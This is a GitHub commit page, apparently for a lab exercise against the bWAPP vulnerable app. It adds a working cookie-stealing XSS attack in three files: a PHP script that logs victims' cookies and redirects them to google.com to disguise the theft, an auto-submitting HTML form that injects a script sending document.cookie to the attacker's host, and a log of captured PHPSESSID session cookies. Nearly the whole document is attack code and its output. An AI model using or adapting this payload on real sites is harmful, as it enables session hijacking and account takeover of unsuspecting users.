Skip to content

Commit

Permalink
adding all the necessary
Browse files Browse the repository at this point in the history
  • Loading branch information
bhandarisandeep authored Jan 22, 2019
1 parent 87296ca commit 59dc0fc
Show file tree
Hide file tree
Showing 3 changed files with 46 additions and 0 deletions.
10 changes: 10 additions & 0 deletions cookiesteal.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
<?php

header ('Location:https://google.com');//;et the victim think as he is visiting the google.com
$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");



?>
16 changes: 16 additions & 0 deletions final payload/google.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<html>

<body onload="document.myForm.submit()">

<form method="GET" action="http://192.168.139.3/bWAPP/xss_php_self.php" name="myForm">

<input type=hidden name="firstname" value="<script>document.location='http://192.168.139.4/synopsys/task2/cookiesteal.php?c='+document.cookie;</script>"/>
<input type=hidden name="lastname" value="hello hacker"/>
<input type=hidden name="form" value="submit"/>

<!--
<input type=submit name="form" id="submit" value="see magic here"/>
-->
</form>
</body>
</html>
20 changes: 20 additions & 0 deletions log.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@


PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0

PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0

PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

0 comments on commit 59dc0fc

Please sign in to comment.